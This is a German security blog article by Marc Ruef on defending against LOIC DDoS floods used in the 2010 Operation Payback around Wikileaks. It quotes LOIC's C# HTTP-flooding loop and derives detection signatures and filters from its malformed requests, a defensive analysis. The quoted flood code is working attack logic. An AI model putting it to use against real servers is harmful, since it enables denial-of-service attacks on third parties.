LOIC-Attacken abwehren - DDoS im Umfeld von Wikileaks

LOIC-Attacken abwehren

DDoS im Umfeld von Wikileaks

Marc Ruef
by Marc Ruef
time to read: 5 minutes

Im Zuge der Festnahme von Julian Assange und dem politischen Druck gegen Wikileaks haben sich verschiedene Kreise zu einer umstrittenen Distributed Denial of Service-Attacke (DDoS) gegen Wikileaks-Gegner zusammengeschlossen. Dieser Operation Payback, die durch Mitglieder des Underground-Forums 4chan orchestriert wird, sind mehrere grosse Dienstleister zum Opfer gefallen:

Angriffsmechanik

Um diese Angriffe umzusetzen, wird das Tool LOIC (Low Orbit Ion Cannon) verwendet. Dieses wurde ursprünglich in C# geschrieben, ist aber ebenfalls als plattformunabhängige Java-Portierung erhältlich. Es sieht sich in der Lage, das Zielsystem mit einer Vielzahl an Anfragen zu überlasten. Dabei können entweder klassisches TCP- oder UDP-Flooding aber auch HTTP-Flooding durchgesetzt werden.

LOIC in Aktion

Der Quelltext der Original-Implementierung steht zur Verfügung und mit der Durchsicht dessen wird die Funktionsweise des Angriffs über HTTP ersichtlich. Diese wird in der Funktion bw_DoWork() in der Datei HTTPFlooder.cs wie folgt definiert (Zeilen 56-82; letzte Comments leicht gekürzt):

private void bw_DoWork(object sender, DoWorkEventArgs e)
{
   try
   {
      byte[] buf = System.Text.Encoding.ASCII.GetBytes(
         "GET " + Subsite + " HTTP/1.0\r\n\r\n\r\n");
      IPEndPoint RHost = new IPEndPoint(System.Net.IPAddress.Parse(IP), Port);
      while (isFlooding)
      {
         State = ReqState.Ready; // SET STATE TO READY //
         LastAction = Tick();
         byte[] recvBuf = new byte[64];
         Socket sck = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
         State = ReqState.Connecting; // SET STATE TO CONNECTING //
         sck.Connect(RHost);
         sck.Blocking = Resp;
         State = ReqState.Requesting; // SET STATE TO REQUESTING //
         sck.Send(buf, SocketFlags.None);
         State = ReqState.Downloading; iRequested++; // DOWNLOADING // REQUESTED++
         if (Resp) sck.Receive(recvBuf, 64, SocketFlags.None);
         State = ReqState.Completed; iDownloaded++; // COMPLETED // DOWNLOADED++
         if (Delay>0) System.Threading.Thread.Sleep(Delay);
      }
   }
   catch { }
   isFlooding = false;
}

Gegenmassnahmen

Hierbei ist zu sehen, wie in der Variable buf die HTTP GET-Anfrage definiert wird. Diese weist drei Auffälligkeiten auf:

  1. Es wird lediglich HTTP/1.0 (und kein HTTP/1.1) unterstützt.
  2. Somit wird keine in HTTP/1.1 obligatorische Host-Zeile mitgeschickt.
  3. Die Anfrage wird mit drei anstelle von den nur erforderlichen zwei \r\n abgeschlossen.

Diese drei Eigenschaften machen es möglich, derlei Zugriffe erkennen und frühstmöglich mitigieren zu können. Vor allem das letztgenannte Detail ist unüblich bei herkömmlichen GET-Anfragen. Ein entsprechendes Unterdrücken mit einem Proxy-Element oder einem .htaccess/mod_security Filter können dabei helfen, die Wucht der sehr primitiven Attacke abzufedern.

Zudem unterstützen die gegenwärtigen Versionen von LOIC keinerlei Möglichkeit zum Spoofing der Quell-IP-Adressen oder dem Generieren von Decoy-Zugriffen (diese wären vor allem im UDP-Modus effektiv). Aus diesem Grund kann es auch einfach nur helfen, mittels einem Protocol Analyzer die Zugriffe mitzulesen und in periodischer Weise restriktive IP-Filter für die einzelnen DDoS-Nodes anzuwenden (einfaches Beispiel mit .htaccess). Der LOIC-Client wird von den meisten Antiviren-Lösungen als solcher erkannt.

Weitere Informationen zum Schutz gegen DDoS-Attacken fasst die hervorragende Arbeit A Taxonomy of DDoS Attacks and DDoS Defense Mechanisms zusammen. Eine Diskussion zur Entwicklung von Gegenmassnahmen in den letzten 10 Jahren ist auf der Mailingliste der NANOG zu finden.

Update 27. Dezember 2010

Aktualisierung der Liste der betroffenen Internet-Seiten.

About the Author

Marc Ruef

Marc Ruef has been working in information security since the late 1990s. He is well-known for his many publications and books. The last one called The Art of Penetration Testing is discussing security testing in detail. He is a lecturer at several faculties, like ETH, HWZ, HSLU and IKF. (ORCID 0000-0002-1328-6357)

Links

You want to test the security of your firewall?

Our experts will get in contact with you!

×
Specific Criticism of CVSS4

Specific Criticism of CVSS4

Marc Ruef

scip Cybersecurity Forecast

scip Cybersecurity Forecast

Marc Ruef

Voice Authentication

Voice Authentication

Marc Ruef

Bug Bounty

Bug Bounty

Marc Ruef

You want more?

Further articles available here

You need support in such a project?

Our experts will get in contact with you!

You want more?

Further articles available here